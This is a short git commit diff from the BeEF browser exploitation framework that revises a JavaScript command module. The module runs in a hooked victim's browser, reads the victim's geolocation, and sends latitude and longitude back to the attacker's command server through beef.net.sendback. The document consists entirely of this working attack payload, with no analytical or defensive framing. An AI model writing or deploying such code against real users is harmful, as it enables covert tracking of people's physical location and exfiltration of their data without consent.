updated physical location code
git-svn-id: https://beef.googlecode.com/svn/trunk@524 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
@@ -1,9 +1,11 @@
|
||||
beef.execute(function() {
|
||||
|
||||
if(beef.geolocation.isGeolocationEnabled()){
|
||||
beef.geolocation.getVictimGeolocation("<%= @command_url %>", <%= @command_id %>);
|
||||
}else{
|
||||
beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "geoLocEnabled=false&latitude=&longitude=");
|
||||
if(!beef.geolocation.isGeolocationEnabled()){
|
||||
beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "geoLocEnabled=FALSE&latitude=&longitude=");
|
||||
return;
|
||||
}
|
||||
|
||||
beef.geolocation.getGeolocation("<%= @command_url %>", <%= @command_id %>);
|
||||
|
||||
});
|
||||
|
||||
|
||||
Reference in New Issue
Block a user